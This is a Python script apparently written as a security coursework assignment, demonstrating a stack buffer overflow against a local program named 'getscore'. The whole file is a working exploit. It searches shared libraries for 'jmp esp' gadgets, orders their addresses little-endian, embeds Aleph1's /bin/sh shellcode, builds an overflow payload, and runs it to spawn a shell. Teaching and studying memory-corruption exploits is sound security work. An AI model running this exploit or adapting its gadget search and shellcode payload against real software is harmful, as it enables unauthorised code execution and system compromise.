#!/usr/bin/env python

"""
Author:  Vaddanak Seng
Purpose:  Demonstrate exploitation using stack buffer overflow
Class and Professor:  System Security, Dr. Xinming Ou
"""

import os
import sys
import re


# get program name
if len(sys.argv) > 1:
	program = sys.argv[1]
else:
	program = 'getscore'


# obtain shared object dependencies
cmd = "ldd ./%s" % program
fileObject = os.popen(cmd)
po = re.compile(r'/.+?\.so\.[^\s]+')
ls = [] #ie ['/lib/tls/libc.so.6', '/lib/ld-linux.so.2']
for line in fileObject:
	mo = po.search(line)
	if mo:
		ls.append(mo.group())
print '%s ==> %s' % (cmd, ls)

# find address of 'ff e4	jmp *%esp' opcode in shared object
ls_addr = [] #ie ['42122ba7', '42124720', '4212c5eb'] 
for e in ls:
	cmd = "objdump -D %s | grep -E 'jmp.+?esp'" % e
	fileObject = os.popen(cmd)
	po = re.compile(r'([0-9a-fA-F]+):\s+ff\s+e4\s+jmp.+?esp')
	print cmd
	for line in fileObject:
		mo = po.search(line)
		if mo:
			#print line
			ls_addr.append(mo.group(1))

# make sure each address is 32 bits long
tmp = []
for e in ls_addr:
	diff = 8 - len(e)
	if diff > 0:
		tmp.append('0'*diff + e)
	else:
		tmp.append(e)
ls_addr = tmp
print "jmp esp addresses found ==> %s" % ls_addr

# order litte-endian addresses where least-significant byte corresponds
# with lower memory address and most-significant byte with higher address
po = re.compile(r'(?P<B4>[0-9a-f]{2})(?P<B3>[0-9a-f]{2})(?P<B2>[0-9a-f]{2})(?P<B1>[0-9a-f]{2})(?i)')
tmp = []
for e in ls_addr:
	mo = po.match(e)
	tmp.append(r"\x%s\x%s\x%s\x%s" % (mo.group('B1'), mo.group('B2'),
		mo.group('B3'), mo.group('B4')))
ls_addr = tmp
print "jmp esp addresses byte-ordered ==> %s" % ls_addr

# select address
addr = ls_addr[0]

"""
Aleph1's Linux shellcode
from "Smashing the stack for fun and profit",
Phrack 49, vol 7
"""
shellcode =  (
	r"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" + 
	r"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" + 
	r"\x80\xe8\xdc\xff\xff\xff/bin/sh")

# offset string
offset = "A"*130 + "BBBBC"

# compose executable for getscore program
parameter2 = ("""PARAMETER2=`python -c 'print "A"*135 + "%s%s"'`""" % 
	(addr, shellcode))
#cmd = """./getscore "XXXX" $(python -c 'print "%s%s%s"')""" % (
#	offset, addr, shellcode)
print "\nEXECUTING THE FOLLOWING EXPLOITATION CODE"	
print "-------------------------------------------------------------------"
print """PARAMETER2=`python -c 'print "A"*135 + "%s%s"'`""" % (addr, shellcode)
print "\n"
print "./getscore 'XXXX' $PARAMETER2"
print "-------------------------------------------------------------------"


# execute the exploiter
os.system("%s; ./getscore 'XXXX' $PARAMETER2" % parameter2)

